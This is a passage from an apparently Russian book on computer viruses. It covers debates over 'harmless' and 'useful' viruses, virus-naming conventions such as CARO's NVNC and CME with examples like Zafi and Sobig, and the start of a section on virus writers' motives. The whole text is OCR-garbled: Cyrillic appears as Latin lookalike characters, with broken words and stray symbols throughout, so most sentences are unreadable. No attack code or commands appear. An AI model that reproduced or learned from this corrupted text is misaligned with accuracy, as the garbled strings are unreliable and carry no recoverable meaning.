Ho, c apyroH cxopoHbi, ecxb KJiaccw BHpycoB, na Koxopbie sxo npaBH.no 

npaKXHHecKii ne pacnpocxpaHaexcn, HanpiiMep KJiacc MaKpoBiipycoB.
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Ho Bce-TaKH Han6ojibimiH H H Te p e c  Bbi3biBaeT He croJibKo K Jia c c m fiH - 

KaiiHH yace c y m e c T B y r o m H X  npeacTaBnrejieH sjieKrponHOH <<c}i:iopw» n 

«c|)aynbi», CKQjibKO nonbiTKa oTBeraTb Ha KOHnerrryajibHbie Bonpocbi, no- 
CTaBJieHIIbie M3KCHMaJIbH0 IIIHpOKO.

B o3mo>kho ah  HanncaTb a6c0AK)TH0 6e3BpeAHbin BHpj'c?
B o 3 m o>kho a h  Harracaxb B H p y c , k o t o p h h  n p n u o c H A  6 b i n o A b 3 y ?

Han6o;iee noApo6HO 3Ty ripo6iieMy Hcc;ieAOBaji Beccejimi Bohhcb 
b cBoeft cTaTbe «rio-npe>KneMy m i niioxa iiAen o xopownx KOMnbroTep- 
Hbix Bnpycax?» [34]. Oh onpocnji ooAbiuoe kojih'icctbo cneunaAHCTOB 
h ripocTbix no.'fbaoBaxejieii, paccMOTpeji mho^kcctbo apryMeHTOB «3a» h 
«nponiB» h npHine.T k c.rje;iyK)mn\i BbUsojaM.

SoHHCB CMHTaJl. MTO a6cOJIIOTHO &e3BpeAHHH H JlOHJlbWolVi K CHCTe- 

Me Biipyc HanncaTb HeBosMoxcHo. J liooaa nporpaMMa, b tom HHCJie h 

KOMIIbKJTepHblH BHpyC, He MO>KeT 6brrb CTOnpOUeHTHO COBMCCTHMa C CH- 

CTeMHbiM O K pv>K eiin eM  i i  npuK jia/ iH b iM H  nporpaMMaMH, upiiH CM , KaK yace 

0TMC4a;i0Cb Bbirne. 3Ta HecoBMecmMocTb co BpeMeHeM yBejiMHHBaeTCa. 
C /ipyroH cTopoHbi. BHpyc <<He3aK0HH0» nojih3yeTca pecypcaMH KOMnbK>- 

Tepa -  3aHHMaeT onepaTHBHVfo naMXTb h a,ncK0B0e npocxpaHCTBO, 'rpaTiix 

npotteccopHoe BpeMa. KpoMe Toro, 6 y ;iy iv i oAnaayibi BbinymeH b «AHKyio 

npHpoay», Biipyc AaJibiue pacnpocTpaHaeTca c KOMnbKxrepa Ha KOMiibio- 
Tep coBepuieHHo oecKonTpo/ibno. h  rioB.Tiiarb Ha ero «cy A b 6 y », b  ot.xh- 
'IHC OT o6bIHHoil nporpaMMbi, HCB03M05KH0.

no  npouiecTBHH HecKOJibKHX ; ic t  yace bhaho, h to  Boh46b npaB AaJie- 
ko He bo BceM. Bo-nepBbix, yace ynoManvTbie BHiue MaKpoBHpycw, ecjiH 
oh ii He coaepacaT rpy6bix owh6ok h .rsaBe;u>MO BpeAOHocHbix (Jipar.MeHTOB, 

6bwn. ecTb h 6yAVT npaKTHHecKH HAea.ibno npucnocoojienbt k cpeAe cbo- 
ero o6iiTaHHa -  AOKVMeHTa.M MS W ord h 3JieKTpoHHbiM xa6;muaM MS 
Excel, nocKo.JibKy nporpaMMHbie MexaHH3MbJ caMOKoiwpoBanHa koas 

OblJW H3H3HaAbHO 3aAOJKeHbI npOH3BOAHTe.TeM ((j)HpMOH M icrosoft) 
b cpeAy W ordB asic/V B A  KaK aoeojnoTHo jieraiibHbie cpeACTBa! B o-b to - 

pbix, ecjiH roBopHTb o B iipycax Apyrax KAaccoB, t o  He TaK yac c.tojkho 

npeACTaBHTb ce6e h pea;iH30BaTb camok o iuipyromh iich koa, kotopm h 

ec.nn He caMoyHHHToacaeTca no npouiecTBHH onpeAe.ieHHoro cpoKa hah 

no onpeae.teh hon <sKOMaiiAe», t o  xoTa o h  orpaHHHHBaeT cboio sk thb - 

HocTb. HaKOHeu, cymec/reyiOT nporpaMMHue koh ctpvkhh h , K0T0pbie 

VMeiOT C03AaBaTb (b  tom  h h cjw  pi He33MeTH0 jiuh  rio.’ibaoBaxejia) coo- 

CTBeHHHe KonHH, ho  npn stom  HBJiaiorca HeorbeMJieMofl MacTbio onepa- 
UHOHHbJX CHCTCM, -  pa3Be 0HH TOJKe BpCAHbl?

BoHneB npnBe;i Tanace mhojkcctbo cy6'beKTiiBHb[X (noftHac OMenb Kypb- 
e3Hbix) apryMeHTOB b noAAt“p>KKy rniioT(:3bi o « bpcah o cth »  BiipycoB. Ha-



30 ❖  06ujM e ceeAeHnsi o  KO M nbiO TepH bix awpycax

npHMep: Jiio6oe HH^iMqupoBaHHe nporpa.MMbi -  sto HecaHKLUioiiHpoBan- 
naa Mo/iH^HKanna ee Kona, xaKHM o6pa30M, HcnojibaoBauHe B/iaae;ibrieM 
3apaxeHHOH nporpa.MMbi cxaHOBiixca ne/ionycTHMWM c rapHjii'iecKOH 

tohkh speHHH. Hjiii bot eiue: Ha BHpycbi Her h He MoaceT cyiuecTBOBaTb 
HHK2KHX 4K0nnpaiiT0B>, TaKHM o6pa30M, jijo6oh nporpaMMHCT cn o co 6 eH  

OTJiOBHTb «3apa3y», MOAHcfanuipoBaxb ee no CBoeMy acejiaHHio h nycTHTb 

,ia;ibme. HaKOHeq, caMbiii «y6oHHbiM» apryMeHT: 3aiioao3pnB (B03M0ac- 
ho , coBepmeHHO 6e30CH0BaTejibH0!) HaJiHHiie Ha CBoeM KOMnbroTepe BH
pyca, noJibaoBareiib HaMHHaeT 6ecn0K0HTbca, npeKpamaex pa6oxy, Tpa- 
THT flCHbl'H H BpeMH Ha IlpHO&pCTeHHC M 3anVCK aHTHBlip VCOB... Kopone, 
BHpyc Macro OKasbiBaeToi onacen He n0T0My, hto peaabHO Bpe;ioiioceH, 
a noTOMy, 'JTO xaKOBa ero penyxauHH.

L I Iv tk h  uxyTKaMH, h o  n o  pa3 HbiM oueHKaM, o t  5 0 %  n o  8 0 %  y m e p 6 a. Ha- 

HOCHMOro KOMIJbJOTepifbl.MH Biipyca.MM MHpOBOH HH/iyCTpHH, CBfl3 aHbI He 

C oGljCKTHBHblMH TeXHM'iecKHMH Iipil'iHHaMM, HO C MCJIOBCMeCKHM (f>aKTO~ 

pOM. rioHeBOJie xoM eTca 3 a#aTb B on poc: a c y m e c r e y io T  Jin « 6 e 3 B peanbie 

n0Jib30BaTe.!iH»?

Ha Boripoc ace o bo3mo>khocth co3/iaim » <<riojie:sHbix> BHpycoB Boh- 

neB Taic«e oTBeqaji OTpunaxe.ibHo. O h  paccMOTpe/i HecKOJibKO BapnaHTOB 

BHpycoB. HKo6bi npe;tua3Ha4eiiHbix £ jia  Bbino.nueHMH k3khx-jjh6o «n o -  

,7ic3iibix» /ieficTBMM, h noKa3aji. mto noTepn o t  hx Hcn0Jib30BaHiia npeBbi- 
uiaioT Bbirosy.

HanpHM ep, COMHHTeJlbHOH IipC/K'TaB.’IM/iaCb lioHHCBV B03M0aCH0CTb 

iicn0.7b30BaHita BHpycoB rifira Cruncher, He3a\iemo nepeHocmmixcM  
c. KOMnbroxepa na KOMiibhrrep h «c>KHMaiomHXj> (Jjafijiw (H anoAoone ap- 
xim aTopoB K/iacca ZIP, ARj huh  RAR) h ah ck h  (Hanoflo6vie apaiiBepoB  

DoubleSpace h.hh Stacker) c ue./ibio skohom hh npot'TpaHcxBa na BHeui- 

hh x HOCHTenax. IIjioxo , c ero xomkji 3pemw, Taicace Bbir r̂afle.na Hflea 

«aHTHBnpvciioro BHpyca*-, aTaKoro caMopa3MHoacaromerocfl «p<-HeraTa», 

u.aoKiipyroinero h VHHHToacaioiuero cbohx  co6paTbeB. O ch obh oh  ap ry -  

mcht BoH^eBa He3aMbic.>ioBaT: Bee Te ace /leikxBua ropas/to npome, fle- 
uieBJie, acjxfjeKTHBiiee n 6e3onacnee BbiuojinaTb npn iiom oihh  o&biHHbix 
nporpaMM.

TeM He MeHee caMa WH3Hb yace onpoBepn ia BonqeBa.

CefiHac, b snoxy  Mo.iHiieHocHo pacnpocxpanaroiUHxai no r.ronajibHbiM 

ceTHM arw/ie.Mmi, wuen «KOHTp'iepBa» bm dw zih t ropa.s^o 6o.rtee npiiBJie- 

KaTe.’ibnoH, hcm 1 0 -15  /tct (faaa/r H e  KaacercH TaKoii v>k (})aHTacTHHHOft 

arryanH fl, Kor/ia KOMiiMOTepHbiH MHp OKaacexcn nepen BbioopoM: h/xh 

«cxeiiH o ii noacap», nymeHHbiii HaBcxpeMv /ipyroMy TaKOMv ace «noaca- 

p y », h jih  TOTajibnoe 0TKJii0iieHHe 3apaaceHiibix Maamn ( u .um Te;iecj)ouoB)
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c uocjieAyiom HM ao6biBaHHeM h ycraHOBKOH «;ieKapcTB» BpyHHVio. Ilo- 
xoace, h to  qepBb Net-Worm. Win32. Welchia b 2003 ro s y  aeftcTBHTejibHo 

BbicTynHJi b pojiH TaKoro «Koirrpiio;>Kapa» h noM or b «TyiueHHH» r.uo- 
oajibHoil ann/ieMHH nepBa Net-Worm.Win32.Lovesan. npeB3ortaa no  

3(f>4)eicruBHOcTH «jierajii,Hbie»- MeToaw npoTHBoaeucTBHH anHfleMim.

Kopone roBopn, Tomcy b iicTopim paapemenHH npo6;ieMbi o bo3.mo>k- 

h o c th  cymecTBOBairan «6e3Bpe/iHbix» h «no;ie3Hbix» ko m rib rare pi/bix BH
pycoB cTaBHTb paHO. H Bpa/i jiii sto  Boo6me bo3moxho, nocKo.ibKy, c on- 
Hoii CTopoHbi, non 4>opMa.ribHoe onpeaejiemie KOMnbioTepHoro BHpyca 
nozina;iaex cjihhikom  mnpoKHii K.’iacc nporpaMM pas jiii THoro Haana'femia 
(HeKOTOpbie cneiiHajmcTbi zia>Ke c^inaioT, '-no naiioo.iiee pacnpocTpaHeH- 
hmm bh/iom KOMnbiOTepHbix BHpycoB aiL'iHioTC^ caMii onepamioHHbie cn- 
CTeMbi), a c flpyron -  itohhthj? «BpeflHbiH» h «nojie3H biH » KpaSne cy6b- 
CKTHBHbl.

Mbi eme nocBHTHM paccMOTpemno 9Toro Bonpoca HecKojibKo cTpamm 
b riocJie/iHefi Harm khhth.

1.5. O Ha3BaHM51X KOMnbiOTepHbix BMpyCOB
TlMLHemu napeKamicb no HflseanujiM cmpm u 
topodoe, no uMenaM jih>6umux jiumepamypHM 
iepoee, HmeauunM npuoopoe u npocmo apoM- 
KtiMu 3eyKocoHeriumusLuu. A y k o z o  He xeama.no 
(panmmuu, mom opan KaKym-nudydb xnmy, om- 
kpbwaji ua KaKOu-Huaydb cmpauut^e, m>i6upaJi 
KaKoe-Huoydb aioeo u KOK-nuSydb e?.o nepede- 
jibteaji.

A. n B. C ipyranK iie . «HonbJTKa k 6 e rcn ;y »

He cjieiiyer HCKaTb KaKoro-Hiioyzib noTaeHHoro CMMCJia b Ha3BaHHJix 
KOMnbiOTepHbix BHpycoB.

IlepBbie KOMnbiOTepHbie Biipycu nojiyiia;in cboh HMeHa b ochobhom no 
BHeuiHHM npoaBJieniiHM, npim-M HepeziKO y oflHoro Biipyca 6bi;io CTOJibKO 
HMeH, cKGJibKo pa3imx jnoflen o6Hapy>KHBa/ni ero Ha CBoeM KOMiibKvrepe. 
HanpiiMep, cpe/m HaHMenoBaHiiii CTapiiHHoro BHpyca, ocbinaBiuero oyK- 
bm Ha 3KpaHe M0 HHT0pa, BCTpenajiHCb: *ByKBona;ii>, LetterFall, «C;ie3bi 
Kanajin», Rush, Letters, a cenMac oh HaM H3Bec;reii KaK Cascade.1071.

Ho BpeMeHa, Koraa obi.ra pacnpocTpaHeHW «caMOJieHeHiie» h «caMo- 
HaHMeHOB3HHe>>, aaBHbiM-AaBHo npoiiijiH. Ceiinac mm ysiiaeM o H33BaHii- 
ax BHpycoB, npoMHiaB hx b g-pictc, KOTopbiM nac cna6>KaeT aiiTHBiipyc
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nocjie mhctkh HaniHX KOMiibioTepoB ot «3apa3bi>>. 3 to  HMeHa, noa koto- 
pbiMH HH(jK)pMauHH o BHpycax 3aHeceHa b a hth b h py c ny 10 6a3y, h aBTopw 
3thx HMeH -  ripo(|)eccnonajibnbie BHpycojiorH.

B aajieKOM 1990 roay H. H. BespyKOB b  CBoeii M0 H0 rpa<f)HH ^Kownbio- 
TepHaa BHpycojiorna* npe/yioacHJi (JwpMa.ibHyjo cucTeMy HaHMeHOBamia 
KOMIIblOTepHblX BHpyCOB. KajKJOe HM3 flOJDKHO 6bIJI0 HaMHHaTbCH c no- 
c jie/ioBaTCJibH octh 6yKB, oimcbiBaioiumx o6mne kjia c c h4>hKa hh o hii we 
npii3HaKH Biipvca: « r »  -  pesiiaeHTHbiii, « c »  -  aapaxvaer COM-cJjaftjiw, 
« e »  -  aapaacaex «EXE-4>aiuiH*, «b »  hjih «m>> -  3arpy30HHbiH h t. a. JXa- 
jiee ao.TJKHO 6biJio cjiejioiiaTb mhcjio -  jumna BHpycHoro TeJia b 6airrax. 
3aMbIKaTb 3T0T a JI (}>a BMTH 0 - HH (f)po BO ii HZieHTHcfjHKaTOp OblJl npiI3BaH 
Heo6fl3aTeJibHbrii 6yKBeHHbiH «c\'4>4wkc», xapaKTeproyioiniiH ymiKajib- 
Hocn> BHpyca b pa/iy co6paTbeB, oujiaaaromnx cxojkhmh 4>opMaJibHbiMH 
npii3HaKaMH. HanpHMep. corjiacHo stou ciicTeMe, BHpyc Cascade na3bi- 
Bajicii RCE.170i.a, Cjihinkom jKecTKaa cncTe.Ma H. H. Be3pyK0Ba b HTore 
He npii>KHJiacb, ho neKOTopwe ee n/ten Hcriojib3yioTCH ao chx nop.

MyTb nosace, b 1991 r. neKOTopwe HHOCTpaHHbie BHpycojiorH, oo-b- 
eaHHHBiHHCb b CARO  -  Computer AntiVirus Researcher Organization, 
Tai-OKe nonbiTajincb pa3paooTaTb h no/nnicaTb ynHBepcaJibnyKj KOHBen- 
Hhkj o HaiiMenoBaHHKX HOBbix BiipycoB (N V N C  -  New Virus Naming 
Convention). OHa ocHOBbiBajiacb na npnuminax, pa3paooTaHHbix Kap- 
jiom JlHHueeM aJia miaccHcfjiiKauHH jkhbw x 0praHH3M0B ruianeTW Scmjih, 
h TfienouaJia o t  BiipyccuioroB npejjcTaBJiHTb hmh BHpyca b (})op\ie «Ce- 
MeiicTBO.Ipynna.Ba|)nanT.I7ojiBapHa}rT [:Moim4>HKaTop]» hjih  «K/iacc. 
CeMeiicTBO.rpynna.BapHaHT.rioaBapnaHT [:Moan4>nKaTop]», HanpHMep 
<>Virus.DOS.Cascade.l701.a». TaK>Ke BHpycojiorH coonpajm cb aoroBo- 
pHTbCfl, HTO He CTOHT JiaaaTb BHpVCaM HMeHa KOMnaHHH, TOprOBbIX MapOK 
h JiioaeH (He HBJwromnxcH aBTopaMH BiipycoB). KaK :no oobi'ino 6biBaeT, 
KOHBeHUHK) MaJIO KTO IlO/tmiCaJI, XOTH HeKOTOpblMH ee npHHimnaMH boc- 

nojib30Bajincb h npoaoJiJKaioT n0.Tb30BaTbca MHorae 4,HPMH ~  pa3pa6oT-
HHKII aHTHBHpyCOB.

rionbiTKH nepeiiTH Ha <so6iiihh H3WK» npe/uipiiHHMajiHCb eme HeoflHo- 
KpaTHo, ho k n03HTHBH0My HTorv TaK h He npHBeJiH. IIpeaJiara.aocb KaK 
MBKCHMaJIbHO VC.XOJKHHTb H (}x)pMaJIH30BaTb CHCTCMy HaHMCHOBaHHH, 
MTOOW no o/inoMy TO.HbKO a ji4^bht) i o- uh 4>pobomy HaeHTH4>HKaTopy 
mo» cho 6mjio onpejieJiHTb ocHOBHbie xapaKTepHCTHKH h napaMeTpbi BH
pyca, TaK h npeae.fibno ynpocraTb ee, npocTO npncBOHB nopaziKOBbiii ho- 
Mep (npoeKT CM E -  Common Malware Enumeration). Ybw, ho oomeii 
CHCTeMbi HaHMenoBaHiia Biipycojiora.M, jkhbvihhm b pa3Hbix CTpaHax h 
pa6oTaiomHM b kohkypupv iomhx KOMnaimax, co3flaTb noKa He yaajiocb.
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B ot, HanpHMep, KaK Ha3biBaeTca o/ihii n  t o t  ace BHpyc c toh k h  apennst 

Tpex pa3JiH'tHbtx aHTHBiipycHbix KOMnaHHH:
O  E-Worm.Win32.Zafi.d -  AmnBHpyc KacnepcKoro (P occhh);
O  Win32.HLLM.Hazafi.36864 -  D r W e b  (Pocchh);
O  W32.Erkez.D@mm -  N o rto n  (S y m a n te c ) A ntiv iru s.
B HHCJie KJiaCCH<f)HKaUHOHHMX npil3HaKOB, BblHOCHMMX B <f)OpMaab- 

HblH H/jeHTIK^HKaTOp 3THX BIipVCOB, M05KH0 o6napyjKHTb:

O  npiiHimn pacnpocTpaHeHHa (  « E -W o r m »  -  h o h t o b w h  hjih  «m m »  -  

m ass m ailing );
O  yaaBHMyro zijlh /laHHoro BHpyca naaTcfwpMy ( «  W in32 >> hjih 

«W 3 2 »  -  ceMettcTBO 32-pa3paaHUx onepannoHHbix cucTe.M MS 
W in d ow s );

O  xapaK TepucTH K y BiipycHoro icoaa («H L L M » -  na iiM can  Ha KaKOM- 

TO H3bIKe BblCOKOTO VpOBHfl);

O fljiHHy BHpycHoro Tejia (36 864 oaHTa) h  npo'iee.
Xoporno xoTb, ’ito b npHMepe c HepBeM Zafi Biipycoaora pa3om/racb 

BO MHeHHaX no nOBOa.V HMCHJI, HO BCe-TaKII HMeaH b BHZIV O/JHV ii tv  
>tce paaHOBUAHOC'Tb «3apa3bi». Ho Beab I'peati cossaTeaeii iieKOTopbix 
aHTHBiipycoB (HanpiiMep. DrWeb) npoc.MarpniiacTCH renaeHUHH aa- 
BaTb ynHKaabHbie HMena ne OTaeabHWM BHpycaM, ho aenaiuHM aaro- 
pHTMaM, BCTpoeHHbi.M b aiiTHBiipyc. B pe3yabTaTe ec;m oan h aaropHTM 
noaxoaiiT jxnsi Jie'iemia cothh pasaHHiiux BHpycoB, o6napy;*eHHbix na 
Baine.M Ko.viribioTepe. to  b oTMeTe, ccjxipMiipoBaHHOM tskhm aHTHBiipv- 
com no HToraM ae'iemm, T0Ji.bK0 oahh s to t  aaropHTM h 6yaeT ynoMH- 
nyr. Bh/ihmo, 3T0 aejiaeTCH cnemiaabno aaa oo/ierieHHH paooTbi npa- 
BooxpaHHTeJibHbix opraHDB: ecjin b hx pvkh nonaaeTca aBTop oanoro 
H3 3T0H COTHH BHpycOB, TO CMy MOJKHO 3aOAHO nOCTaBHTb B BHHV BCe 
pa3H006pa3Hbie noBpoK/ieiiHH, HanecenHbie ocxaabHbiMH aeBXHOCTO ae- 
BHTblO. iiiVTKa.

He Ham.TH oomnx mhchiih Biipycoaoni h no nonoay He(J)opMajibHoro 
nanMeHOBaHHH BHpyca (KOToporo, KCTaTH, b  CHCTeMe H. H. Be3pyK0Ba 
Booome He 6m.to ripeaycMorpeiio). Oohhho o6menpHHHTbiM cpe:m bii- 
pvco.ToroB pa3Hbix CTpaH CTaiiOBiiTCH to HaHMeHOBaHHe, KOTopoe aaer 
BHPyc.y ero * nepb oonqibib are./ib». Ho b coBpe.Mennbix ycaoBiiax mojihh- 
eiiocHbix ceTeBbix am w M H H  sto noHarae TepaeT npaKTHMecKiiii c.vibica. 
OTcroaa h a6coaK)THbiH paanooovi b hammeh o b a h h a x.

B p o a H  <snepB00TKpbiBaTeaa>> o fib iu no  BbicTynaeT  K oiiKpeTH bin  n e jio -  

BeK -  c o T p y a m iK  aH TH BH pycH oii a a6 o p aT o p H H , sa iu iM a io u iin ic a  H sy q e - 

H iieM  B H p ycH oro  K oaa. H  orjbacH H Tb, n o 'ieM y  BH pyc n o a y H H a  t o  a m i  

HHoe HecJ)opM aabHoe HaHMeHOBaHHe, c n o c o 6 e n  T0a b K 0 oh .
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Kaaa.nocb 6m, mojkho oKpecxHTb BHpyc TaK, KaK ero npe/yioHeji 6bi Ha- 
3biBaTb ca\i aBTop. B  Te.ie BHpyca yacxo BCTpenaioTca TeKCTOBbie cxpoioi 
nina «SV C », «C iv il War», <<Murzio> h npo^He, o6jieniaiomne 3aaaqy bm- 
6opa HMeHH. TafOKe Henjioxo Ha3BaTb BHpyc b cootbctctbhh c Mec.TOM 
ero co3flaHHa mm o6napy>KemiH (Jerusalem -  «HepycaJiHM»), ahcm 
aKTHBauHH (BlackMonday -  -s 'lepnbiH none/iejibHHK») m m  c npoH3Bo- 
AHMbiM a\?flH0BHfle03(J)4)eKT0M (Ambulance -  «CKopaa noMomb»). Ho 
KaK noHB/isnoTca HMeHa xima Baba (BMecTO «ToBapnm jIo3HHCKHH»), 
DebilByte (BMecTo « Devil Byte»), FFFF (bmccto «C D E F »), Babec 
(BMecTO « B A B C » )  h TOMy no;io6mbie? OKaaMBaexciJ, HCKOTopbie aHXHBH- 
pycHMe KOMiiaiiHw ;io chx nop cxapaioxca npiiflep>KHBaTbCJi OTaejibHbix 
npaBH.n, oroBopemibix b  conrameiom NVNC, -  b HacraocTH Tex, K0T0 pwe 
peKOMeHajTOT aanart Bupyca.M KaK pa3 6eccMbicJieHHwe n.vena.

IlpaKTiiKa 0 6 p a 3 0 B a H im  B u p y c u b ix  h m ch  riopoi cxanoHHXcji opyaaeM 
b  K O H K ypen TH O H  6 o p b 6 e  m o k j i v  p a s jiH 'iiib iM H  aH XH BVipycH bim h <}>HpMa- 

m h, Koraa o h h  Hanepeooii n m y T  « c o p i iH K H »  b  mvjkhx rjiasax. B o x  n p im e p  

o f lH o r o  H3 n o f lo f iH b ix  n p e c c -p tv m 3 0 B :

...H a  n p o m n o fi nep,ene on pe /je /ie H H o e  ocB em eH ue b C M M n o / iy w n  
HOBbiM P 2P -n ep B b ... MHOxecTBO anTMBMpycHbix KOMnaHMM f le re K -  
m poBasiM  3Ty BpeAO H ocnyio n p o rp a M M y  KaK P o lip os , m M Menno s to  
H33BaHwe n o fiy n u n o  w w poK oe pacnpocT paneH M e. H o  npaBM/ibHo j im  

HS3biBaTb ne pa fi stm m  H33BatiiAeM? B re n e  4epea co/jepxurca c n e -  
AyfoujMM TeKCT: « W in 3 2 .P o lip o s  v 1 .2  b y  Jose p h » . JJaB STOMy neps to  
HaaBaHHe P o lip os , a n m B iip y c H b ie  KO M naHM  noAHMiM M3 H e 6 b n m  
BTiwecKytoflM JieM M y. C  oahom  c to p o h u ,  s tu m A o c m ra e rc H  BbicoKaa 
c re n e H b  m ash tm hhoctm  H33BaHMM y  pa3H bix  B en A op oe ... C  A p y ro t i 
C TOpOHbl, OAHMM M3 HePMCaHblX PpaBMJl aHTM BM pyCHOM  MHAyCTpMM 
[Ha caM O M A ene s to  OAHa K3 peKOMenqamw N V N C  -  K .K .]  m m eT C R  
m 6 e ra H v ie  n p v tc B a m a H m  BpeAOHocHbiM np orp aM M aM  Ha3BaHMH, 
KOTOpbie MM A^JIM MX aBTOpbl. 1/lcXOAft M 3 STMX AByX C006pa)KeHMM, 
Mbi nepeMMeHOBaiiM nepBa m3 P o lip o s  b P o lip  m HaAeeM ca, v to  A P y-  
m e  aHTMBMpycHbie KOMnaHMM no c /ie A y io T  H au ieM y npM M epy...

Oztna>K/u>i THiniHHbiH -scxBop'iecKHH no'-iepK* H3o6pexaxe.ri «  BHpyCHbIX 
HMen o6napoaoBaji A tckc FocxeB, corpyflHHK Jlaoopaxopra Kacnepcicoro:

... TaK y x  no jiynM flocb , vto  a 6bW KpecTHbiM o t u o m  npaKTM'-iecKM Bcex  
snMAeMMonorMVHbix BMpycoB b  nocneAHM e roA b i, n o s ro M y  M o ry  n o -  
BeA arb  ea/w s to  ms caM bix n e p e u x  pyK... B a p u a m  S o b ig .F  6b in  Kpyn- 
HeMLUeM BMpyCHOM SnMAGMMeM 3a BCIO MCTOPMIO i/tHTepHera, BnnOTb 
A o  aHBapa 2 0 0 4  ro A a ... B  nacTO ftm ee BpeMa b  CM M  m CTarbax IT-
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Cneuua/MCTOB moxho Bcrpermb rpamoBKy ero Ha3BaHna, bhboah- 
Myio b tom vucjie m m3 caMoro (patera snuffeMHH -  «Bupyc 6bi/i Ha3Ban 
TaK ( “So Big!”) m-3a 6o/ibinoro pa3Mepa cBoero (patina, a TaioKe 
M3-3a 6ojibiuoro wtcna nopaxeHHbix mm KOMnbioTepoB». Bee sto co- 
BceM He raK.:) Pa3Mep (pafinoB uepBefi ceMeficTBa Sobig Hmorpa He 
npeBbiiua/i 100 K6 (pjia Sobig. F -  70 K6), hto m/iaercft, b npuHiwrte, 
cpeAHMM noKa3areneM p/m hohtobux nepBefi... Bapuam «A» pac- 
npocTpamncn b rwcbMax, b KanecrBe appeca oTnpaBmenn KOTopbix 
3waw/7CH «big@boss.com». i/i cnoea/j/w npwpyMbtBaHm MMenw naMM 
6biJi Bbt6paH AaBHO M3Jiio6fieHHhifi cnoco6 CK/ienBanna ‘-tacrefi cjiob: 
BiG@bOSs. com -  «5uroc» 3Bynm KpmoBaro, nos to My Koe-vro Me- 
HaeMM- on-na!...

Bnpo'ie.M, obiBaeT h TaK, hto miena, H3o6peTeHHbie Biipyco.iora.MH 
b noTe .Tima CBoero h OTpaacaromHe KaKyro-HHoyjb xapaKTepjiCTiiKv BH
pyca, 3a6 biBaKjTOi. a chhohhmh, npHayMaHHbie n.nsi hhx >Kypna.'iHcraMii. 
3HaeT noHTii KajKflbiii. TaK, HanpHMep, npoii3oui.no c BHpycaMH Stoned. 
March6  Michelangelo » )  h W in9X .C IH  ( « 1 fep110 6 bi/ihe kh i i » ).

H eT, He c jieayeT  HCKaTb K aK oro -iiH O y ab  n oT aeH H oro  cM bicjia  b n a s s a -  

ifn>fx K O M nbioTepH bix B iipycoB !

1.6. Kto m 3aneM nmueT Bupycbi
-  H o m  naeuauoe ompaxam\> uado, a ,#w mym 
e nojiuUfUK) mpae.u...

A. h B. CrpvTauKire. ^Tpaa o6 peMenHbift>

3 t o  B o n p o c , K0T0pbiH ne;ib3>i o6ohth , x o th  iio / ip oo n o e  p ac c M o rp eH n e  e ro  

BbixoflH T 3a paMKH n am e ii k h h i 'h .

IIpejKfle Bcero cjieayeT onvieTHTb, hto  Bee m hojkcctbo  BHpyconncaTe- 

Jieii hcbosm ojk ho  BTHCiiyrb b  upoKpycTOBO Jioace KaKoii-jinoo onpeae- 
.leHHoit comia.TbHoii rpynnw . Cym ecTByioiiute h  ui npoKci pacnpocTpana- 

e.Mbie co cTpaHHii ne'iaTiibix H3.aaiiHfi oesaiie/uw i iHonnbie m h c iih h  o t o m . 

h to  Bupycbi iHim yr HCK/iiomrrejibHo «HeHaBHCTHHKii Bcero po/ia H<:;ioBe- 

liecK oro », «KoMnbioTepHi>ie BanaaJibi» hjih  «03Jio6:ienHbie neaoyM k h » , He 

Bbiaep>KHBaiOT HHKaKOH KpHTIIKH H CBHfleTe.TbCTBYIOT JIHUIb O HeyMeHHH 

(HJIH HOKejiaHHH) aBTOpOB BbICKa3bIB3HHH IIO/lOOHOrO poaa  BHHKHVTb 

b  cyTb Bonpoca.

T a K * e  He c t o h t  n o a p o 6 H o ro  o o cy x ca e m ia  resM c o  tom , h t o  B iip y c u ,  

m oji, niirnyT caMH c o t p v a h h k h  aHTHBHpycHHx KOM nainiH , h to 6 m  o 6 ec n e -  

HHTb ceOH p a 60T0ft H nOCTOJIHHMM flOXOflOM. B ep H T b  B 3T0 MOl'VT JlHIIlb
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a i o a h ,  H eaA eK BaTH O  BOcnpHHUMaiomwe OKpyacaiomyjo A eficT B H x e.iib - 

HOCTb, -  jx h o o  n o  n p i i ' i m i e  r J iy o o H a ii iu e r o  iieB O K ec.T B a , n h 6 o  BCJieACTBHe 

npHBH M KH r a a z ie T b  Ha Miip 'iep e .3  M yray io  npH3My MH3aHTponim. Hm  

xon eT C H  HanoMHiiTb H 3B ecT H y io  H3AeBaTejibCK\io iyiTaTy H3 B. K a T a e B a : 

. ..B e a b  6t>iJio p e tu m e jib H o  eceM  m BecTH o, h to  in a p M a H iu m n  3 a -  
MaHHBatOT MajieHbKMX A e re ii,  Kpa/xyr mx, B b i/iaM tjaa ioT  p y w  m H orn, 
a n o ro M  npojuaioT  b 6ana raH  aKpodaraM ... 9 t o  6 b im  ra x  x e  o 6 m e -  
m eecTHO, KaK to ,  h to  KOHfperaMui <pa6putm «Bp. KpaxMa/ibHMKOBbi» 
MOXHO OTpaBMTbCfl M/1M HTO MOpO>KeHLU,MM R em tO T MOpOXeHOe 143 
MO/tOKa, B KOTOPOM Kyna/IM 6o/lbHblX...

H anO M H H Tb -  M 3aKpbITb Ha 3T0.\1 o6cV5KAeHHe. 

l lra K . b  1 9 9 0 -x  ro a a x  E . K acriepcK H ii n o  iip ii3H aK y no6y fliiTe jibH W X  

moxhbob k HamicaHHio B tipycoB  B H A e jw ji HeTbipe rp v n n b i BH pycom icaxe- 
jieH: «c aM o y T B e p »< A a io m iiec H ». «xy.m iraHbi>>, «npocJ>eccnoHaJibi» h  «hc- 
cAeAOBaTeAii*-. H a moii B s r .ia a , naAO necKo.ibKo n epeon peA eA H X b  h  n ep e -  

H M enoBaTb 3 th  rp v n n b i h Ao6aBM Tb k  hhm n ax y io : «K o p b ic x o jn o 6 n b i» .

1 . 6 . 1 .  « C a M o y T B e p }K A a i o i i 4 i i e c i i »

K 3toh rpynne E. Kacnepcmrii othocha HaHHuaioiuHXBHpyconiicaxejieH, 
cosAaroimix oTHOCHTe.ibHo npocTbie caMopasMHoacatomiieca nporpawMM  

c uejibio npoBepiiTb cboh 3Hamm ii yMerma b oo.xacxn cucxeMiioro npo- 
rpaMMiipoBaHHH. /leiicxBHTejibHO, caMOCToaTejibHo pa3o6paTbca b npHH- 

Ltmiax paooTM i i  nanncaxb cboh (a  ae CKOMiiH.niipoBaniibiii H3 CAeraa 

MOAIl4>HmipOBaHHHX MyaCHX HCXOAHblX TeKC TO B ) BHpVC AOCTaTOMHO 

TpyaHO, a noTOMy, noaca/iyii. noneTHo. B axy rp yn n y  a ieaoB a jio  6bi bkjiio- 
